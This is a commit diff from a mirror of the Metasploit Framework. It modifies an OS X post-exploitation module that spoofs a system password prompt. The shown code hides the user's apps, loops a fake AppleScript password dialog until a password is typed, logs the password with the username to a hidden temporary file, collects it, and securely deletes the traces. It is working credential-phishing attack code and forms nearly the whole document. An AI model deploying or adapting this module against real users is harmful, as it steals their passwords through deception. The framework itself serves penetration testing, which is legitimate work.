dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Land #2704 - rm script launcher and fix file_exists?

This commit is contained in:
sinn3r 2013-12-02 15:05:01 -06:00
parent 4d3d02ae01 44e37f1b98
commit 19293d89dd
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
1 changed files with 38 additions and 56 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

94
modules/post/osx/gather/password_prompt_spoof.rb
View File

@ -19,7 +19,8 @@ class Metasploit3 < Msf::Post
'License' => MSF_LICENSE,
'Author' => [
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
'joev' # bug fixes
'joev', # bug fixes
'Peter Toth <globetother[at]gmail.com>' # bug fixes
],
'Platform' => [ 'osx' ],
'References' => [
@ -57,10 +58,10 @@ class Metasploit3 < Msf::Post
], self.class)
end
def cmd_exec(str)
print_status "Running cmd '#{str}'..."
super
end
# def cmd_exec(str, args)
# print_status "Running cmd '#{str} #{args}'..."
# super
# end
# Run Method for when run command is issued
def run
@ -79,29 +80,23 @@ class Metasploit3 < Msf::Post
print_status("Running module against #{host}")
dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6))
runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
username = cmd_exec("/usr/bin/whoami").strip
cmd_exec("umask 0077")
cmd_exec("/bin/mkdir #{dir}")
# write the script that will launch things
write_file(runme, run_script)
cmd_exec("/bin/chmod 700 #{runme}")
# write the credentials script, compile and run
# write the credentials script and run
write_file(creds_osa,creds_script(pass_file))
cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
cmd_exec("#{runme} #{creds}")
cmd_exec("osascript #{creds_osa}")
print_status("Waiting for user '#{username}' to enter credentials...")
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
pass_found = false
while (::Time.now.to_f < timeout)
if ::File.exist?(pass_file)
if file_exist?(pass_file)
print_status("Password entered! What a nice compliant user...")
pass_found = true
break
@ -122,51 +117,38 @@ class Metasploit3 < Msf::Post
cmd_exec("/usr/bin/srm -rf #{dir}")
end
# "wraps" the #creds_script applescript and allows it to make UI calls
def run_script
%Q{
#!/bin/bash
osascript <<EOF
set scriptfile to "$1"
tell application "AppleScript Runner"
do script scriptfile
end tell
EOF
}
end
# applescript that displays the actual password prompt dialog
def creds_script(pass_file)
textcreds = datastore['TEXTCREDS']
ascript = %Q{
set filename to "#{pass_file}"
set myprompt to "#{textcreds}"
set ans to "Cancel"
repeat
try
tell application "Finder"
activate
tell application "System Events" to keystroke "h" using {command down, option down}
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
set ans to button returned of d_returns
set mypass to text returned of d_returns
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
end tell
end try
end repeat
try
set now to do shell script "date '+%Y%m%d_%H%M%S'"
set user to do shell script "whoami"
set myfile to open for access filename with write permission
set outstr to now & ":" & user & ":" & mypass & "
"
write outstr to myfile starting at eof
close access myfile
on error
try
close access myfile
end try
end try
set filename to "#{pass_file}"
set myprompt to "#{textcreds}"
set ans to "Cancel"
repeat
try
tell application "Finder"
activate
tell application "System Events" to keystroke "h" using {command down, option down}
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
set ans to button returned of d_returns
set mypass to text returned of d_returns
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
end tell
end try
end repeat
try
set now to do shell script "date '+%Y%m%d_%H%M%S'"
set user to do shell script "whoami"
set myfile to open for access filename with write permission
set outstr to now & ":" & user & ":" & mypass & "
"
write outstr to myfile starting at eof
close access myfile
on error
try
close access myfile
end try
end try
}
end